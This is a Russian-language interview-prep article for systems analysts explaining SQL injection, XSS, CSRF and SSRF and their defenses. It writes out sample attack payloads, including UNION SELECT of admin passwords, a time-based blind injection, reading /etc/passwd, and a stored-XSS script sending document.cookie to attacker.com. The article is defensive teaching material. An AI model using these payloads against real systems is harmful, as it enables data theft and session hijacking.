SQL injection и XSS на собеседовании системного аналитика
Карьерник — Duolingo для аналитиков: 10 минут в день тренируй SQL, Python, A/B, статистику, метрики и ещё 3 темы собеса. 1500+ вопросов в Telegram-боте. Бесплатно.
Содержание:
Зачем спрашивают на собесе SA
Базовая security-грамотность — must-have. SA должен закладывать защиту в архитектуру. На собесе SA: «как защититься от SQL injection», «что такое stored XSS», «зачем CSP».
SQL injection: суть
Атака, когда злоумышленник внедряет SQL-команды через input. Если backend конкатенирует строку — выполняется его SQL.
# уязвимо
query = f"SELECT * FROM users WHERE email = '{user_input}'"
# user_input = "x' OR 1=1 --"
# SELECT * FROM users WHERE email = 'x' OR 1=1 --'
# → возвращает всех пользователейПоследствия:
- Кража данных всех пользователей.
- Drop таблиц.
- Изменение данных.
- Privilege escalation.
- В худшем — выполнение команд OS (через
xp_cmdshellв SQL Server).
OWASP top-10 #1 многие годы — injection.
Виды SQL injection
1. Classical (in-band). Атакующий видит результат запроса (через UI / API).
' UNION SELECT username, password FROM admins --2. Blind. Не видит результат, но определяет по поведению (true/false branches, time delays).
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --3. Out-of-band. Через DNS / HTTP exfil:
'; SELECT load_file('/etc/passwd'); --4. Second-order. Внедрение в одном запросе, выполнение в другом (например, через сохранение в БД).
Защита от SQL injection
1. Parameterized queries / prepared statements — главный метод.
# psycopg2
cur.execute("SELECT * FROM users WHERE email = %s", (user_input,))
# Java JDBC
PreparedStatement ps = conn.prepareStatement("... WHERE email = ?");
ps.setString(1, user_input);БД получает SQL и параметры отдельно — параметры не интерпретируются как код.
2. ORM.
User.query.filter_by(email=user_input).first()Под капотом — parameterized. Но raw() вызовы — снова уязвимы.
3. Stored procedures (с параметрами, не string concat).
4. Input validation. Whitelist разрешённых символов. Не основной защита, но defense in depth.
5. Least privilege. App user в БД имеет только нужные права. Не SUPERUSER.
6. WAF (Web Application Firewall). Дополнительный слой, ловит известные паттерны.
Чего НЕ делать:
- Не «escape» вручную (
replace("'", "''")) — пропустишь edge case. - Не stored procs со string-concat внутри.
XSS: суть и виды
Cross-Site Scripting — внедрение JavaScript в страницу, которую видят другие пользователи.
<!-- комментарий, сохранённый в БД -->
<script>fetch('https://attacker.com?cookie=' + document.cookie)</script>Жертва открывает страницу — скрипт выполняется в её browser, утекает cookie.
Виды:
1. Reflected XSS. Скрипт в URL, отражается в response.
https://example.com/search?q=<script>alert(1)</script>2. Stored XSS. Скрипт сохраняется в БД (комментарий, профиль) и показывается всем.
3. DOM-based XSS. JS на странице берёт user input и вставляет в DOM без санитизации.
document.body.innerHTML = location.hash; // hash from URLЗащита от XSS
1. Output encoding. Любой user-input при выводе — escape по контексту.
- HTML context —
<,>,&,",'. - HTML attribute — все non-alphanumeric →
&#xXX;. - JavaScript context —
\xXX. - URL context —
encodeURIComponent.
В современных frameworks (React, Vue, Angular) — escape по умолчанию через JSX / templates.
2. Content Security Policy (CSP). Header, ограничивающий что можно выполнять.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.comInline-скрипты блокируются если нет nonce / hash.
3. HttpOnly cookies. Set-Cookie: ... HttpOnly — JS не может прочитать через document.cookie. Защита от перехвата сессии.
4. SameSite cookies. Set-Cookie: ... SameSite=Strict или Lax — не отправляется на cross-site requests.
5. Sanitize HTML user input. Если разрешён HTML (rich text editor) — фильтровать через DOMPurify / Bleach с whitelist тегов.
6. X-XSS-Protection header. Устаревший, заменён CSP.
CSRF и связанные
CSRF (Cross-Site Request Forgery). Жертва залогинена в bank.com. Открывает evil.com, который делает POST на bank.com/transfer (cookies автоматически идут). Деньги уходят.
Защита:
- CSRF tokens. Формы содержат секретный токен, проверяемый сервером.
- SameSite cookies. Strict — cookies не идут на cross-site.
- Custom headers. Только AJAX запросы могут добавлять
X-Requested-With— простые HTML форм нет.
SSRF (Server-Side Request Forgery). Сервер делает запрос по user-controlled URL. Атакующий заставляет сервер ходить во внутреннюю сеть (http://localhost:8080/admin).
Защита:
- Whitelist разрешённых URL.
- Не доверять resolution DNS — резолвить и проверять IP (не private ranges).
- Disable redirects.
Частые ошибки
' экранирование вручную. Пропускаешь edge cases — UTF-8 атаки, unicode normalisation. Только prepared statements.
Trust в client-side validation. JS-валидация — UX, не security. Всё повторно проверять на сервере.
Один escape для всех контекстов. HTML escape не защитит JS-context. Используй context-aware escape.
innerHTML = userInput. Прямой XSS. textContent или createElement + setAttribute.
Stored procedure без параметров. Не панацея — internal concat = всё равно уязвимо.
Cookie без HttpOnly. Любой XSS уведёт сессию.
CORS Access-Control-Allow-Origin: * для credentialed requests. Открывает CSRF дыру.
Связанные темы
- OWASP top-10 на собесе SA
- JWT на собесе SA
- OAuth 2.1 flows для SA
- 152-ФЗ для SA
- Подготовка к собесу системного аналитика
FAQ
Можно ли защититься от SQL injection через input validation?
Только частично — не основная защита. Главное — prepared statements. Validation как defense-in-depth.
XSS можно делать без <script>?
Да: <img src=x onerror=alert(1)>, SVG-based, CSS expressions (старые IE), eval-injection. Любой attribute с on* — потенциально опасен.
CSP полностью защищает от XSS?
Не полностью, но сильно сужает поверхность. Должна быть в любой современной системе.
Это официальная информация?
Нет. Статья основана на OWASP Top-10 и материалах OWASP Cheat Sheets.
Тренируйте системный анализ — откройте тренажёр с 1500+ вопросами для собесов.